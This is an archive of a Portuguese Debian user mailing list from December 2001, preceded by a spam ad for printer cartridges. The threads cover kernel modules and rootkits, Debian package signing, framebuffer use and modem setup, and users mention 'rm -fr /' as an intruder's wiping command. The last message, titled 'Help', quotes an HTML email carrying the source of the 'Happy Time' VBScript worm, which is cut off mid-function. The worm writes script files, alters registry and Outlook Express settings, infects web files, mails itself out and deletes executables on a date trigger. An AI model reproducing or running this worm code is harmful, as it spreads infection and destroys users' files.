ECONOMIZE, debian-user-portuguese , 70% na compra de CARTUCHOS
Title: CARTUCHOS RECONDICONADOS HI CARTUCHOS RECONDICONADOS HI-QUALITY Conheça agora a melhor linha de cartuchos recondicionados do mercado. Trabalhamos com produtos da mais alta qualidade, sobre teste rigoroso no padrão HI-QUALITY. Só no ECONOSHOP, você encontra o melhor custo benefício do Brasil, os melhores produtos e preços do mercado além do compromisso de qualidade total: Caso tenha algum problema com o cartucho, enviamos outro e ainda mandamos um brinde no valor de R$51,00 inteiramente GRÁTIS!!! Aqui você conta com todas as marcas e modelos para Ink-Jet e Tonners, além de receber em dois dias em sua casa em QUALQUER LUGAR DO BRASILe o melhor de tudo: você não paga o frete. COM A COMPRA DE UM CARTUCHO RECONDICIONADO VOCÊ PODE ECONOMIZAR ATÉ 70%. ligue já!!! TOLL-FREE: 0800-7700786 WWW.ECONOSHOP.COM.BR O SITE DA ECONOMIA ! Conheça também nossa linha de geradores portáteis SDMO, a maior multinacional do mundo em geradores portáteis, agora no Brasil. Para remover seu nome do mailing clique aqui: Não quero economizar
Pura Curiosidade ( Era: SOLUÇÃO: recom pilei kernel, erro na inicialização )
Em 17/12/01, Marcio Roberto Teixeira escreveu: Buenas, Povo... # Modularizei tudo o que deu. Ficou consideravelmente ^^^ Isso aqui me acendeu uma dúvida meio antiga... Eu comecei a trabalhar com linux mais pesado quando trabalhei do Dep. Física da Federal (trabalhei lá quase 3 anos), e acho que naturalmente, peguei alguns vícios do sysadmin de lá (nao quesejam de todo mal :). A questao é: até onde vale a pena modularizar o kernel, e em que situacoes é mais vantagem manter absolutamente tudo builtin? Na Física, era tudo builtin por 2 motivos básicos: 1. Tinha uma montoeira e meia de máquinas para dar manutencao (entre elas, uma boa parte formada por heroicos 486), logo, compilar um kernel no servidor e mandar um arquivo pra cada máquina era mais viável que compilar um em cada uma... e ficar mandando módulos seria trabalho desnecessário, já que elas nao tinham nada de especial. 2. Seguranca: compilando o kernel sem suporte a modulos, voce dificulta que no caso de uma invasao, o h4x0r coloque um módulo pra cobrir tudo o que ele tá fazendo. Até essa mensagem, eu nao tinha parado pra pensar se as minhas crendices tinham alguma base realmente, ou se era só costume mesmo... em casa, eu relaxo um pouco mais nos módulos (até por preguica), mas costumo trabalhar com o máximo de coisas que eu sei que vou usar compilado builtin. Acho que já deu pra mostrar de onde saiu a curiosidade, mas eu gostaria de saber do pessoal que tem uma quilometragem boa de linux, como eles preferem o kernel... até pra tirar uma base do que seria mal passado, no ponto ou bem passado :) Se possível, arrumar um lugar pra por os .config da vida, pra ver até onde os extremos vao! Bom... nao sei se vai servir pra alguma coisa... mas parece que é assunto pra uns flamezinhos básicos, pra animar a lista! Batata
Re: recompilei kernel, erro na inicialização
Olá. Era uma vez, em ter, dez 18, 2001 em 12:45:13 -0200, quando Pr1nc3_0F_P3rS1a * disse: talvez ele não tenha posto alguma coisa como modulo (m) e sim com y From: ..::AlienSprite::.. To: Marcio Roberto Teixeira , Subject: Re: recompilei kernel, erro na inicialização Date: Mon, 17 Dec 2001 17:16:24 -0200 Será que não faltou você compilar o módulo necessário para os hardwares que você dispõe? Parece que o modprobe não conseguiu achar tal modulo. [corta] Meu erro foi exatamente o inverso. Configurei como módulo o suporte a formatos binários ELF. Bem, os programas (ou algo do que os programas dependem) que lidam com os módulos estão neste formato (suponho, pois com a mudança deu certo!). Logo, era impossível executar os programas que carregariam os módulos. Daí o erro. inté+v -- Marcio Teixeira Usuário tchê Linux no. 180204 ICQ: 77147205 Porto Alegre - RS - Brasil A vida é como uma boa prova escolar: é curta, com múltiplas escolhas. O world não é o Word. Uso LaTeX: viva o código aberto!
Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel, erro na inicialização )
On Tue, 18 Dec 2001 09:22:54 -0200 (BRST) Rogerio Neves Batata [EMAIL PROTECTED] wrote: Até essa mensagem, eu nao tinha parado pra pensar se as minhas crendices tinham alguma base realmente, ou se era só costume mesmo... em casa, eu relaxo um pouco mais nos módulos (até por preguica), mas costumo trabalhar com o máximo de coisas que eu sei que vou usar compilado builtin. eu não tenho quilometragem boa nem sei muito sobre kernel, mas a minha idéia sobre isso é: se alguma função é usada o tempo todo ou raras são as vezes em que não se usa a mesma coloque ela built-in... no meu caso, eu não tenho nenhuma partição vfat no hd e não é toda hora que eu estou usando ppp, portanto eu coloco esses dois como módulo, porque assim eles só são carregados quando é necessário e depois são auto-descarregados quanto ao haxor, acho que se o cara consegue por um módulo na máquina ele não vai ficar só nisso... vai dar logo um rm -fr / e mandar tudo pelos ares... Se possível, arrumar um lugar pra por os .config da vida, pra ver até onde os extremos vao! se quiser posso te mandar meu .config do 2.4.16, eu não segui exatamente o critério acima quando compilei ele, mas pode servir pra você entender o que eu acho de kernel hohoho []s! -- Gustavo Noronha Silva - kov http://www.metainfo.org/kov *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ | .''`. | Debian GNU/Linux: http://www.debian.org | | : :' : + Debian BR...: http://debian-br.cipsga.org.br+ | `. `'` + Q: Why did the chicken cross the road? + | `-| A: Upstream's decision. -- hmh | *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
Re: frame buffer
Eu acho que é Gnome sobre X, o qual está sobre o framebuffer, pois quando dou boot e uso vga=791, aciono o frame buffer e fico com um modo texto com mais de 100 colunas. Chamo o X com startx (que aciona o XF86_FBDev, que é o meu xserver padrão) e aí chego no Gnome. No meu caso foi o que funcionou, pois minha placa de video não é suportada pelo XFree ainda. Carlos - Original Message - From: Gustavo Noronha Silva [EMAIL PROTECTED] To: debian-user-portuguese@lists.debian.org Sent: Tuesday, December 18, 2001 12:47 AM Subject: Re: frame buffer On Mon, 17 Dec 2001 21:48:47 -0200 Carlos Alberto Pereira Gomes [EMAIL PROTECTED] wrote: Veja o link abaixo que explica como fazer isso tudo e ainda tem um exemplo de XF86Config que da pra usar sem muita modificacao: http://www.eecs.umich.edu/~steveh/inspiron/xserver.html você não necessariamente precisa usar o X framebuffer, eu não uso... só pra deixar claro =) Eu segui as orientações dele e consegui rodar o potato 2.2.r4 com kernel 2.2.20 e Gnome em 1024x768 no meu notebook. c roda o gnome em cima do X ou do fb? []s! -- Gustavo Noronha Silva - kov http://www.metainfo.org/kov *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ | .''`. | Debian GNU/Linux: http://www.debian.org | | : :' : + Debian BR...: http://debian-br.cipsga.org.br+ | `. `'` + Q: Why did the chicken cross the road? + | `-| A: Upstream's decision. -- hmh | *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Configurar modem
Olah todos, acabei de instalar um USR56 no meu pc, mas não sei como configurar modens no Linux. Jah procurei para todo lado um rau-tu para modens no debian e naum achei... Alguem sabe onde eu devo ir? -- Um natal stable e um ano novo recompilado para todos... Giscar Paiva - Estagiário - CPD - GOEG
Re: As distro sao inseguras
Henrique, Agora acho que entendo melhor seu email: quando você procurou minimizar os efeitos de um pânico entre usuários (que poderia estar sendo causado por mim, reconheço meu erro nesta lista), você me pareceu ser do outro extremo (talvez com efeitos tão indesejados quanto o que me fiz transparecer). E daí você escreveu que o problema estava bem resolvido, não era necessário se preocupar. O que agora vejo que você devia estar querendo deixar transparecer é que não era necessário o pânico, o qual poderia ter efeitos até piores do que um alerta como o que escrevi; ainda, você devia estar querendo mostrar que a Debian está resolvendo bem este assunto (concordo, exceto pelo fato da demora, principalmente considerando que o assunto já vinha sendo discutido anteriormente, embora sobre outro enfoque, mas todos precisamos reconhecer que a Debian trata este - como outros assuntos - com um impressionante nível de seriedade e compromisso com o usuário). Neste sentido, vejo que eu errei do mesmo que lhe atribuí: espalhar aos ventos algo com efeitos ruins. E você se explicou muito bem, eu fui sincero quando disse que não o conhecia ainda, mas agora vejo que fui injusto e peço desculpas. Até mesmo porque você é um dos colaboradores do sistema que uso, e lhe devo uma parcela de gratidão. Como você e o Gustavo bem disseram, as chances são bem pequenas de estarmos recebendo pacotes adulterados por algum proxy, a não ser que isto estivesse sendo feito nos provedores de back-bone. Há um outro ponto que me preocupou no seu email: sua aparente tranquilidade quanto às assinaturas MD5 dos pacotes. MD5 apenas gera um checksum, mas isto até mesmo os frames ethernet, os datagramas IP e pacotes TCP têm, embora utilizando outra técnica (CRC). O MD5 está muito longe de ser o que precisamos, pelo menos quando usado isoladamente. O que precisamos é de assinatura digital que permita ao recebedor checar a autenticidade da assinatura, e não apenas a integridade: o PGP nos dá as duas coisas. Já o MD5 nos dá apenas a informação de integridade, e nem mesmo contém informação de quem assinou: ou seja, qualquer um pode modificar o pacote .deb e gerar novo MD5 para ele, e não há como o recebedor descobrir que isto foi feito baseado apenas no que ele recebeu. Há uma sugestão na debian-security que é cada desenvolvedor gerar assinaturas MD5 para os seus pacotes, que seriam acrescentadas também aos Packages.gz, os quais por sua vez seriam assinados com PGP pelo servidor da Debian e por algumas pessoas para garantir a autenticidade. Eu creio ser este o caminho, porque exigir de cada desenvolvedor que assine seu pacote com PGP é algo que tenho certeza que *não* irá funcionar: eu mesmo, em 1998, trabalhando no NOC central de uma rede WAN com cerca de 40 POP's espalhados pelo Estado de SP, cheguei a escrever um tutorial sobre PGP p/ o Windows que a maioria usava, http://www.interprov.com.br/download/tutorial-pgp.pdf, mas o pessoal técnico dos POP's, a despeito do ótimo nível de muitos deles, passou por várias dificuldades que os desanimaram de utilizar o PGP (tipo perder a passphrase e daí a gente ter de assinar a nova chave deles, problemas com CopyPaste, uso inadequado da web-of-trust, falta de cuidado ao guardar a chave privada, etc...). Aparentemente estaria faltando garantir a autenticidade de quem fez upload do pacote, mas isto pode ser inferido do login via ssh, e a experiência mostra que até dá para confiar no zelo com que os desenvolvedores guardam sua senha de login. Há ainda o problema de garantir a autenticidade das chaves públicas do pacote debian-keyring: utilizar a teoria dos grafos com seus algoritmos de coloração, best-path, etc, pode ser muito bonito mas quem garante que o programa que o usuário está executando é o original? Acho que faltam mais idéias para isto. Se você for pensar bem, o aplicativo Windows 2000 Update, por exemplo, autentica automaticamente o web server da Microsoft baseado em certificados digitais emitidos por entidades reconhecidas pelo browser: mas quem garante que o browser não foi modificado, ou até mesmo o Windows Update. Creio ser neste ponto que são necessárias mais idéias! Talvez eu esteja sendo simplista por não ter acompanhado as discussões anteriores, mas não vejo dificuldade em se implementar o descrito acima no curto-prazo. Mais uma vez desculpe pelo julgamento precipitado a seu respeito, Antonio On Tue, Dec 18, 2001 at 01:15:36AM -0200, Henrique de Moraes Holschuh wrote: Date: Tue, 18 Dec 2001 01:15:36 -0200 From: Henrique de Moraes Holschuh [EMAIL PROTECTED] To: debian-user-portuguese@lists.debian.org Subject: Re: As distro sao inseguras On Mon, 17 Dec 2001, Antonio Augusto de Cintra Batista wrote: até este seu email, mas apesar de me sentir constrangido creio que eh? Não deveria se sentir constrangido. Se eu espalhei desinformação, vai ser constrangedor pra mim... (bom, os erros estúpidos de português na minha mensagem eu já considero constrangedores o suficiente, mas deixa
Re: frame buffer
On Tue, 18 Dec 2001 14:25:47 -0200 Carlos Alberto Pereira Gomes [EMAIL PROTECTED] wrote: Eu acho que é Gnome sobre X, o qual está sobre o framebuffer, pois quando dou boot e uso vga=791, aciono o frame buffer e fico com um modo texto com mais de 100 colunas. Chamo o X com startx (que aciona o XF86_FBDev, que é o meu xserver padrão) e aí chego no Gnome. No meu caso foi o que funcionou, pois minha placa de video não é suportada pelo XFree ainda. legal, meu console é 1024x768 também hehehe é que a nova gtk vai poder rodar em framebuffer, sem usar X, achei que você já estava experimentando =) []s! -- Gustavo Noronha Silva - kov http://www.metainfo.org/kov *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ | .''`. | Debian GNU/Linux: http://www.debian.org | | : :' : + Debian BR...: http://debian-br.cipsga.org.br+ | `. `'` + Q: Why did the chicken cross the road? + | `-| A: Upstream's decision. -- hmh | *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
Re: Configurar modem
On Tue, 18 Dec 2001 14:22:48 -0200 CPD - GOEG [EMAIL PROTECTED] wrote: Olah todos, acabei de instalar um USR56 no meu pc, mas não sei como configurar modens no Linux. Jah procurei para todo lado um rau-tu para modens no debian e naum achei... Alguem sabe onde eu devo ir? seu USR56 já deve estar funcionando... se ele não for winmodem, claro se esse for o caso execute o pppconfig e use pon/poff para conectar/desconectar que já deve funcionar =) []s! -- Gustavo Noronha Silva - kov http://www.metainfo.org/kov *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ | .''`. | Debian GNU/Linux: http://www.debian.org | | : :' : + Debian BR...: http://debian-br.cipsga.org.br+ | `. `'` + Q: Why did the chicken cross the road? + | `-| A: Upstream's decision. -- hmh | *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel , erro na inicialização )
On Tue, 18 Dec 2001, Gustavo Noronha Silva wrote: On Tue, 18 Dec 2001 09:22:54 -0200 (BRST) eu não tenho quilometragem boa nem sei muito sobre kernel, mas a minha idéia sobre isso é: se alguma função é usada o tempo todo ou raras são as vezes em que não se usa a mesma coloque ela built-in... Bom, certas coisas, se usadas built-in, requerem linha de comando pro kernel (que vai no grub/lilo), e eu acho isso um porre, por isso acabo usando como modulo. quanto ao haxor, acho que se o cara consegue por um módulo na máquina ele não vai ficar só nisso... vai dar logo um rm -fr / e mandar tudo pelos ares... Infelizmente, tem rootkit que põe módulo, o script kiddie não precisa ter inteligência suficiente nem pra limpar as calças direito, e ainda assim fazer estrago high-tech... Em firewalls, por exemplo, é interessante não ter suporte a módulos. -- One disk to rule them all, One disk to find them. One disk to bring them all and in the darkness grind them. In the Land of Redmond where the shadows lie. -- The Silicon Valley Tarot Henrique Holschuh
Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel, erro na inicialização )
Bom, certas coisas, se usadas built-in, requerem linha de comando pro kernel (que vai no grub/lilo), e eu acho isso um porre, por isso acabo usando como modulo. quanto ao haxor, acho que se o cara consegue por um módulo na máquina ele não vai ficar só nisso... vai dar logo um rm -fr / e mandar tudo pelos ares... Infelizmente, tem rootkit que põe módulo, o script kiddie não precisa ter inteligência suficiente nem pra limpar as calças direito, e ainda assim fazer estrago high-tech... Muitos estragos piores até que o rm -fr /, provavelmente um servidor seguro teria backups, mas estragos como conseguir senhas de outros servidores conectados a ele. Em firewalls, por exemplo, é interessante não ter suporte a módulos. Lembre-se que com os módulos você diminui bastante a sobrecarga dos recursos do servidor, e as vezes não tem necessidade de desativar o suporte a módulos no kernel. Você poderia usar uma ferramenta proativa como o lcap (que inclusive está empacotado para a Debian), onde você carregaria um módulo projetado para proteger de LKM rootkits que poderiam danificar todo o sistema. -- Philipe Gaspar aka kr0n. Unix SysAdmin [EMAIL PROTECTED]
Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel , erro na inicialização )
Olá Batata (não sabem o quanto me soa engraçado escrever esta saudação :=)) Era uma vez, em ter, dez 18, 2001 em 09:22:54 -0200, quando Rogerio Neves Batata disse: Em 17/12/01, Marcio Roberto Teixeira escreveu: Buenas, Povo... Te aprochega, vivente # Modularizei tudo o que deu. Ficou consideravelmente ^^^ Isso aqui me acendeu uma dúvida meio antiga... Eu comecei a trabalhar com linux mais pesado quando trabalhei do Dep. Física da Federal (trabalhei lá quase 3 anos), e acho que naturalmente, peguei alguns vícios do sysadmin de lá (nao quesejam de todo mal :). A questao é: até onde vale a pena modularizar o kernel, e em que situacoes é mais vantagem manter absolutamente tudo builtin? Na Física, era tudo builtin por 2 motivos básicos: 1. Tinha uma montoeira e meia de máquinas para dar manutencao (entre elas, uma boa parte formada por heroicos 486), logo, compilar um kernel no servidor e mandar um arquivo pra cada máquina era mais viável que compilar um em cada uma... e ficar mandando módulos seria trabalho desnecessário, já que elas nao tinham nada de especial. Bem, usando o método Debian, este problema está resolvido. É possível instalar o kernel-image.nnn remotamente, né? 2. Seguranca: compilando o kernel sem suporte a modulos, voce dificulta que no caso de uma invasao, o h4x0r coloque um módulo pra cobrir tudo o que ele tá fazendo. Não sei opinar sobre isto, mas fico curioso também. Até essa mensagem, eu nao tinha parado pra pensar se as minhas crendices tinham alguma base realmente, ou se era só costume mesmo... em casa, eu relaxo um pouco mais nos módulos (até por preguica), mas costumo trabalhar com o máximo de coisas que eu sei que vou usar compilado builtin. Acho que já deu pra mostrar de onde saiu a curiosidade, mas eu gostaria de saber do pessoal que tem uma quilometragem boa de linux, como eles preferem o kernel... até pra tirar uma base do que seria mal passado, no ponto ou bem passado :) Ou al dente :=) Se possível, arrumar um lugar pra por os .config da vida, pra ver até onde os extremos vao! Bom... nao sei se vai servir pra alguma coisa... mas parece que é assunto pra uns flamezinhos básicos, pra animar a lista! Bem, ao adotar a política do modularize-tudo-que-dá, fiz algumas suposições, (lembrando que sou semi-leigo em computação e, portanto, tais suposições são muito intuitivas): 1. Achava que tendo um kernel mais magro, otimizo o desempemho da máquina. Por exmplo, o suporte a PPP foi modularizado. Não passo todo o tempo usando este suporte. Supus que configurá-lo built-in implica uma perda de eficiência. 2. A inicialização seria mais rápida. Mesmo sistema (potato, kernel 2.2.17 num Pentium 100 Mhz). Testei: Até o INIT executar o runlevel kernel de fábrica: 40s kernel recompilado: 20s Até o prompt para logar kernel de fábrica: 50s kernel recompilado: 28s (valores aproximados) Pelo teste, acho que estava certo. 3. Isto liberaria mais memória, logo mais eficiência. Era isto. Batata inté+v -- Marcio Teixeira Usuário tchê Linux no. 180204 ICQ: 77147205 Porto Alegre - RS - Brasil A vida é como uma boa prova escolar: é curta, com múltiplas escolhas. O world não é o Word. Uso LaTeX: viva o código aberto!
Re: As distro sao inseguras
On Tue, 18 Dec 2001 15:07:02 -0200 Antonio Augusto de Cintra Batista [EMAIL PROTECTED] wrote: Eu creio ser este o caminho, porque exigir de cada desenvolvedor que assine seu pacote com PGP é algo que tenho certeza que *não* irá funcionar: eu mesmo, em 1998, trabalhando no NOC central de uma rede eu acho que você está enganado aqui, todo desenvolvedor já assina dois dos arquivos que compõe um upload, chamemos assim, com sua chave pgp um que identifica o pacote fonte e outro que identifica o todo e sem essas assinaturas o pacote não entra no servidor Debian... faltando garantir a autenticidade de quem fez upload do pacote, mas isto pode ser inferido do login via ssh, e a experiência mostra que até dá para confiar no zelo com que os desenvolvedores guardam sua senha de login. Há ainda o problema de garantir a autenticidade das ou seja, essa questão acima já está resolvida... mesmo porque a maioria de nós raramente usa sua senha de login, o esquema de autenticação rsa do login por ssh é largamente usado... Talvez eu esteja sendo simplista por não ter acompanhado as discussões anteriores, mas não vejo dificuldade em se implementar o descrito acima no curto-prazo. há, com certeza, muitas dificuldades para que isso seja implementado, mas não é nada que não possa ser resolvido a questão é que há de ser feito algo sólido o suficiente para realmente dar certo... não pode ser uma solução quebra-galho, muito menos pode ser uma coisa centrada em i386 ou em um único ponto de falha... deve existir uma política muito bem definida para que isso dê certo, porque isso envolve o core, por assim dizer, do Debian, que não pode ser desestabilizado []s! -- Gustavo Noronha Silva - kov http://www.metainfo.org/kov *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ | .''`. | Debian GNU/Linux: http://www.debian.org | | : :' : + Debian BR...: http://debian-br.cipsga.org.br+ | `. `'` + Q: Why did the chicken cross the road? + | `-| A: Upstream's decision. -- hmh | *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel, erro na inicialização )
On Tue, 18 Dec 2001 15:58:27 -0200 Henrique de Moraes Holschuh [EMAIL PROTECTED] wrote: Bom, certas coisas, se usadas built-in, requerem linha de comando pro kernel (que vai no grub/lilo), e eu acho isso um porre, por isso acabo usando como modulo. ah, claro, tinha esquecido desse argumento =), eu uso ide-cd e ide-scsi como módulo por causa disso... quanto ao haxor, acho que se o cara consegue por um módulo na máquina ele não vai ficar só nisso... vai dar logo um rm -fr / e mandar tudo pelos ares... Infelizmente, tem rootkit que põe módulo, o script kiddie não precisa ter inteligência suficiente nem pra limpar as calças direito, e ainda assim fazer estrago high-tech... Em firewalls, por exemplo, é interessante não ter suporte a módulos. mas hmh, para isso o root-kit tem de funcionar, e se ele funciona ele dá acesso root ao cara certo? então o rm -rf pode acontecer de qualquer maneira... estou errado? []s! -- Gustavo Noronha Silva - kov http://www.metainfo.org/kov *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ | .''`. | Debian GNU/Linux: http://www.debian.org | | : :' : + Debian BR...: http://debian-br.cipsga.org.br+ | `. `'` + Q: Why did the chicken cross the road? + | `-| A: Upstream's decision. -- hmh | *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
ISOs do Woody
Fala pessoal, Alguem sabe onde eu posso conseguir baixar iso's do woody. De preferencia algum lugar no brasil ou nos eua. Soh tenho uma lista de servidores q consegui no site do debian mas os servidores sao todos da europa, asia ou oceania. []'s Carlos
PPP por demanda e servidor de fax ????
Ol'a meus amigos, Gostaria de saber onde consigo boas documentacoes de ppp por demanda e como montar um server de fax no debian / OBS.: Qualquer coisa que funciome !!! Estou com o seguinte problema. O ppp ja esta funcionando, mas so que sem haver uma requisicao de pag. ele ja tenta fazer uma nova conexao de tantos em tantos minutos E gostaria de saber como posso montar um server de fax na mesma maquina, com 2 modens. Um para o ppp e o outro para o fax ... Desde ja agradeco ... -- === Gustavo V. Goulart= User linux 197404 = debian 2.2r3 = AMD Athlon 900= ===
Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel , erro na inicialização )
On Tue, 18 Dec 2001, Gustavo Noronha Silva wrote: Em firewalls, por exemplo, é interessante não ter suporte a módulos. mas hmh, para isso o root-kit tem de funcionar, e se ele funciona ele dá acesso root ao cara certo? então o rm -rf pode acontecer de qualquer maneira... estou errado? Não. Mas rm -rf é bem melhor que um sniffer escutando seus ssh... -- One disk to rule them all, One disk to find them. One disk to bring them all and in the darkness grind them. In the Land of Redmond where the shadows lie. -- The Silicon Valley Tarot Henrique Holschuh
Re: ISOs do Woody
Oi, Carlos. Você pode usar o pseudo-image kit. Dê uma olhada em http://cdimage.debian.org/~costar/pseudo-image-kit. Fica bastante fácil obter as iso's com ele. Faça o download e leia o readme contido no kit. Em Tue, 18 Dec 2001 21:06:58 -0200 [EMAIL PROTECTED] escreveu: Fala pessoal, Alguem sabe onde eu posso conseguir baixar iso's do woody. De preferencia algum lugar no brasil ou nos eua. Soh tenho uma lista de servidores q consegui no site do debian mas os servidores sao todos da europa, asia ou oceania. []'s Carlos -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- Paulo R. Ormenese GNU/Linux User #200782 Jundiaí-SP
compilador c; e leitor de mail
que compilador de c eu uso no gnome? após instala-lo como o chamo? como configuro o mailbr ou qualqr mail gratuito pelo netscape? obrigado a todos. MailBR - O e-mail do Brasil -- http://www.mailbr.com.br Faça já o seu. É gratuito!!!
Re: Kernel 2.4 no Potato - Parte II
On Tue, 18 Dec 2001 18:48:30 -0200 Vitor Silva Souza [EMAIL PROTECTED] wrote: todos os cinco módulos que eu tinha escolhido (acima) tinham unresolved symbols. Pergunta 1: isso é normal? O que fiz de errado? isso não é normal, que kernel é esse? eu tive problemas com módulos no 2.4.14, qual seu processador? Exatamente o 2.4.14. Estou usando um Athlon 900MHz numa placa Asus A7V. O engraçado é que da primeira vez que compilei eu havia esquecido o suporte a PPP, e quando recompilei, ele não deu esta mensagem durante o dpkg -i, mas continuou reclamando dos módulos na inicialização... pega o 2.4.16 então, e quanto ao Athlon, eu vi alguns problemas acontecerem em um athlon com o binutils mais novo ... Obrigado. Farei isso. Porque isso não é armazenado em nenhum log? vai saber... porque não é tão importante... Aparentemente não, mas nunca se sabe o que pode vir a acontecer. Vou seguir as instruções e ver o que eles me respondem, e se consigo mudar alguma coisa. Caso afirmativo, eu aviso. ótimo =) Obrigado kov! por nada =) []s! -- Gustavo Noronha Silva - kov http://www.metainfo.org/kov *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ | .''`. | Debian GNU/Linux: http://www.debian.org | | : :' : + Debian BR...: http://debian-br.cipsga.org.br+ | `. `'` + Q: Why did the chicken cross the road? + | `-| A: Upstream's decision. -- hmh | *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
Configurar modem
Olá, Já tentou o FocaLinux Intermediário? Derrepente resolve. [ ]'s MuadDib Olah todos, acabei de instalar um USR56 no meu pc, mas não sei como configurar modens no Linux. Jah procurei para todo lado um rau-tu para modens no debian e naum achei... Alguem sabe onde eu devo ir? -- Um natal stable e um ano novo recompilado para todos... Giscar Paiva - Estagiário - CPD - GOEG -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Help (Por Favor não mandem email html!!!!!)
Em Tuesday 18 December 2001 23:56, Javier Farian escreveu: HTMLHEAD Title Help /Title/HEAD Body script language='VBScript' Rem I am sorry! happy time On Error Resume Next mload Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject(Scriptlet.TypeLib) Set Oh = CreateObject(Shell.Application) If IsHTML Then mURL = LCase(document.Location) If mPath = Then Os.Reset Os.Path = C:\Help.htm Os.Doc = Lhtml() Os.Write() Ihtml = span style='position:absolute'Iframe src='C:\Help.htm' width='0' height='0'/Iframe/span Call document.Body.insertAdjacentHTML(AfterBegin, Ihtml) Else If Iv(mPath, Help.vbs) Then setInterval Rt(), 1 Else m = hta If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout(mclose(), 1) main Else Os.Reset() Os.Path = mPath \ Help.hta Os.Doc = Lhtml() Os.write() Iv mPath, Help.hta End If End If End If Else main End If End Sub Sub main() On Error Resume Next Set Of = CreateObject(Scripting.FileSystemObject) Set Od = CreateObject(Scripting.Dictionary) Od.Add html, 1100 Od.Add vbs, 0100 Od.Add htm, 1100 Od.Add asp, 0010 Ks = HKEY_CURRENT_USER\Software\ Ds = Grf() Cs = Gsf() If IsVbs Then If Of.FileExists(C:\help.htm) Then Of.DeleteFile (C:\help.htm) End If Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then Od.RemoveAll Od.Add exe, 0001 Od.Add dll, 0001 End If Cn = Rg(Ks Help\Count) If Cn = Then Cn = 1 End If Rw Ks Help\Count, Cn + 1 f1 = Rg(Ks Help\FileName) f2 = FNext(Of, Od, f1) fext = GetExt(Of, Od, f2) Rw Ks Help\FileName, f2 If IsDel(fext) Then f3 = f2 f2 = FNext(Of, Od, f2) Rw Ks Help\FileName, f2 Of.DeleteFile f3 Else If LCase(WScript.ScriptFullname) LCase(f2) Then Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then Tsend Else adds = Og Msend (adds) End If End If wp = Rg(HKEY_CURRENT_USER\Control Panel\desktop\wallPaper) If Rg(Ks Help\wallPaper) wp Or wp = Then If wp = Then n1 = n3 = Cs \Help.htm Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs \ n2 .htm End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa(1100) pfc.Write HTML body bgcolor='#007f7f' background=' n1 ' /Body /HTML mt pfc.Close Rw Ks Help\wallPaper, n3 Rw HKEY_CURRENT_USER\Control Panel\desktop\wallPaper, n3 End If Else Set fc = Of.CreateTextFile(Ds \Help.vbs, True) fc.Write Sa(0100) fc.Close bf = Cs \Untitled.htm Set fc2 = Of.CreateTextFile(bf, True) fc2.Write Lhtml fc2.Close oeid = Rg(HKEY_CURRENT_USER\Identities\Default User ID) oe = HKEY_CURRENT_USER\Identities\ oeid \Software\Microsoft\Outlook Express\5.0\Mail MSH = oe \Message Send HTML CUS = oe \Compose Use Stationery SN = oe \Stationery Name Rw MSH, 1 Rw CUS, 1 Rw SN, bf Web = Cs \WEB Set gf = Of.GetFolder(Web).Files Od.Add htt, 1100 For Each m In gf fext = GetExt(Of, Od, m) If fext Then Fw Of, m, fext End If Next End If End Sub Sub mclose() document.Write titleI am sorry!/title window.Close End Sub Sub Rt() Dim mPath On Error Resume Next mPath = Grf() Iv mPath, Help.vbs End Sub Function Sa(n) Dim VBSText, m VBSText = Lvbs() If Mid(n, 3, 1) = 1 Then m = % VBSText % End If If Mid(n, 2, 1) = 1 Then m = VBSText End If If Mid(n, 1, 1) = 1 Then m = Lscript(m) End If Sa = m vbCrLf End Function Sub Fw(Of, S, n) Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) mt = fc.ReadAll fc.Close If Not Sc(mt) Then mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) fc2.Write mt fc2.Close Msend (mmail) End If End Sub Function Sc(S) mN = Rem I am sorry! happy time If InStr(S, mN) 0 Then Sc = True Else Sc = False End If End Function Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = T = False If Of.FileExists(S) Then fpath = Of.GetFile(S).ParentFolder fname = S ElseIf Of.FolderExists(S) Then fpath = S T = True Else fpath = Dnext(Of, ) End If Do While True Set gf = Of.GetFolder(fpath).Files For Each m In gf If T Then If GetExt(Of, Od, m) Then FNext = m Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = Then T = True 